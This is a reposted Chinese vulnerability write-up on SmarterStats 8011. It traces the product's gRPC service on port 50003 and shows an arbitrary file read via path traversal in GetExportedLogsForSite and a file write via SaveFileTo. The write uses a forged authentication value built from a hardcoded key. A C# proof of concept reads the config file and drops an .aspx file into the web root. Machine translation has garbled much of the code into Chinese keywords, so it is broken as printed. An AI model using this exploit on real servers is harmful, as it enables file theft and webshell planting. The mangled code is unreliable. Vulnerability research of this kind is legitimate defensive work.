2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
安装可以看官方的文档https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx
SSSvc.exe运行在50003端口上,默认监听0.0.0.0
拉到dnspy中看一下
main函数启动了一个SSCollect服务类。
服务类调用了ServiceWorker.StartService()
新一个处理函数ServiceLifetimeFunction
这里调了ServiceWorker.Start()
启动中调用GrpcManager.StartGrpc()
开启监听gRPC。
继续看gRPC,在StartGrpc中,定义了四个服务
分别对应
查询 -> QueryServiceImplementation
站点列表 -> 站点列表服务实现
ServiceOperations -> ServiceOperationsServiceImplementation
站点控制 -> 站点控制服务实现
并且端口绑定在0.0.0.0:50003上
顺便点开一个服务来看看 QueryServiceImplementation
服务运营服务实施
能看到grpc的远程调用函数实现。
先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目
在Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)
的Query类中,给了我们rpc客户端的工具类
把这个代码dll加入引用中,然后如下。
这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)
下一个就是简单的寻找漏洞点了。
SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)
任意读取文件
这里需要关闭 dnspy 的编译优化查看具体逻辑
SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)
可选写入文件
加密密钥编码硬件,没用。
使用 Grpc.Core ;使用 系统;使用 System.Collections.Generic ;使用 System.Linq ;使用 System.Text ;使用 System.Threading.Tasks ;使用 SmarterStats.Config.Protos ;使用 Google.Protobuf.WellKnownTypes ;使用 SmarterStats.Config.Utility ;使用 System.IO ;使用 Google.Protobuf ;namespace Routeguide {
class Program
{
static async Task < int > Main ( string [] args )
{
var channel = new Channel ( "172.16.16.132:50003" , ChannelCredentials . Insecure );
服务运营。ServiceOperationsClient 客户端 = 新的 ServiceOperations 。ServiceOperationsClient (通道);
GetExportedLogsForSiteRequest 请求 = 新的 GetExportedLogsForSiteRequest ();
请求。FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml" ;
AsyncServerStreamingCall < GetExportedLogsForSiteResponse > asyncServerStreamingCall = 客户端。GetExportedLogsForSite (请求);
而 (等待 asyncServerStreamingCall。ResponseStream。MoveNext ()){控制台。_ _ WriteLine ( asyncServerStreamingCall .响应流。当前. 数据。ToStringUtf8 ());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest ();
保存文件到请求。文件名 = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx" ;
CryptographyHelper cryptographyHelper = 新的 CryptographyHelper ( 0 );
时间戳 时间戳 = 时间戳。FromDateTime (日期时间. UtcNow );
保存文件到请求。创建日期 = 时间戳;
保存文件到请求。LastWriteDate = 时间戳;
密码学助手。SetKey ( saveFileToRequest . CreationDate . ToDateTime (). ToString ( "MMddyyyy" ) + " ksghsfkgjh" , null );
字符串 auth = cryptographyHelper 。EncodeToBase64 ( saveFileToRequest .文件名);
保存文件到请求。身份验证 = 身份验证;
保存文件到请求。文件数据 = 字节串. CopyFromUtf8 (文件。ReadAllText (@“1.txt” ));客户端。SaveFileTo ( saveFileToRequest ); 控制台。WriteLine ( "写完。" ); 控制台。读键();返回0 ; } } }
GetExportedLogsForSite文件并读取截取了文件名加了鉴权
SaveFileTo 文件写入限制了后缀白并且正则限制了路径
SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?
wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了后来吧。
https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html
来源:先知(https://xz.aliyun.com/t/11475#toc-0)
侵权请私聊公众号删文
热文推荐